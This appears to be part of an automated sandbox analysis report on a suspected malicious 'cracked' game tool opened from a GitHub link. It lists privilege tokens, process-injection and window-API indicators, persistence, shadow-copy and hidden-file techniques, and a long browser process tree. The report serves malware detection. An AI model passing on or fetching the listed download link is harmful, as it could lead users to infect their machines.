Token: SeDebugPrivilege	6176	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6176	WMIC.exe
Token: SeRemoteShutdownPrivilege	6176	WMIC.exe
Token: SeUndockPrivilege	6176	WMIC.exe
Token: SeManageVolumePrivilege	6176	WMIC.exe
Token: 33	6176	WMIC.exe
Token: 34	6176	WMIC.exe
Token: 35	6176	WMIC.exe
Token: 36	6176	WMIC.exe
Token: SeDebugPrivilege	6168	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5532	WMIC.exe
Token: SeSecurityPrivilege	5532	WMIC.exe
Token: SeTakeOwnershipPrivilege	5532	WMIC.exe
Token: SeLoadDriverPrivilege	5532	WMIC.exe
Token: SeSystemProfilePrivilege	5532	WMIC.exe
Token: SeSystemtimePrivilege	5532	WMIC.exe
Token: SeProfSingleProcessPrivilege	5532	WMIC.exe
Token: SeIncBasePriorityPrivilege	5532	WMIC.exe
Token: SeCreatePagefilePrivilege	5532	WMIC.exe
Token: SeBackupPrivilege	5532	WMIC.exe
Token: SeRestorePrivilege	5532	WMIC.exe
Token: SeShutdownPrivilege	5532	WMIC.exe
Token: SeDebugPrivilege	5532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5532	WMIC.exe
Token: SeRemoteShutdownPrivilege	5532	WMIC.exe
Token: SeUndockPrivilege	5532	WMIC.exe
Token: SeManageVolumePrivilege	5532	WMIC.exe
Token: 33	5532	WMIC.exe
Token: 34	5532	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe
4512	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4512	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 2228	1152	msedge.exe	81
PID 1152 wrote to memory of 2228	1152	msedge.exe	81
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4276	1152	msedge.exe	82
PID 1152 wrote to memory of 4416	1152	msedge.exe	83
PID 1152 wrote to memory of 4416	1152	msedge.exe	83
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84
PID 1152 wrote to memory of 756	1152	msedge.exe	84

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6656	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/S0UlS1232/AWP.GG-CRACKED/blob/main/Awp.gg%20CRACKED.exe
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7fffe8cc46f8,0x7fffe8cc4708,0x7fffe8cc4718
  2⤵
  PID:2228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
  2⤵
  PID:4276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2760 /prefetch:8
  2⤵
  PID:756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3460 /prefetch:1
  2⤵
  PID:2336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3476 /prefetch:1
  2⤵
  PID:1984
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5744 /prefetch:8
  2⤵
  PID:4632
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
  2⤵
  - Drops file in Program Files directory
  PID:5068
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x7ff77e6d5460,0x7ff77e6d5470,0x7ff77e6d5480
    3⤵
    PID:3724
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5744 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5844 /prefetch:1
  2⤵
  PID:2476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5864 /prefetch:1
  2⤵
  PID:2464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6036 /prefetch:1
  2⤵
  PID:4032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:1
  2⤵
  PID:1692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6396 /prefetch:1
  2⤵
  PID:1432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1
  2⤵
  PID:4164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5024 /prefetch:1
  2⤵
  PID:2680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6356 /prefetch:1
  2⤵
  PID:1528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6052 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1936 /prefetch:1
  2⤵
  PID:2064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3744 /prefetch:1
  2⤵
  PID:232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4088 /prefetch:1
  2⤵
  PID:3808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3116 /prefetch:1
  2⤵
  PID:4496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4996 /prefetch:1
  2⤵
  PID:1360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1
  2⤵
  PID:3872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1740 /prefetch:1
  2⤵
  PID:744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=2308 /prefetch:8
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6476 /prefetch:1
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4904 /prefetch:1
  2⤵
  PID:1608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1148 /prefetch:1
  2⤵
  PID:1084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
  2⤵
  PID:2464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6316 /prefetch:1
  2⤵
  PID:2196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:1
  2⤵
  PID:3020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:1
  2⤵
  PID:4784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4080 /prefetch:1
  2⤵
  PID:836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5008 /prefetch:1
  2⤵
  PID:3132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:4428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6812 /prefetch:1
  2⤵
  PID:3224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6252 /prefetch:1
  2⤵
  PID:4720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5016 /prefetch:1
  2⤵
  PID:1592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6696 /prefetch:1
  2⤵
  PID:1892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=7084 /prefetch:8
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5868 /prefetch:8
  2⤵
  PID:4428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2148,4448494571124365725,15119651364428125848,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5988 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
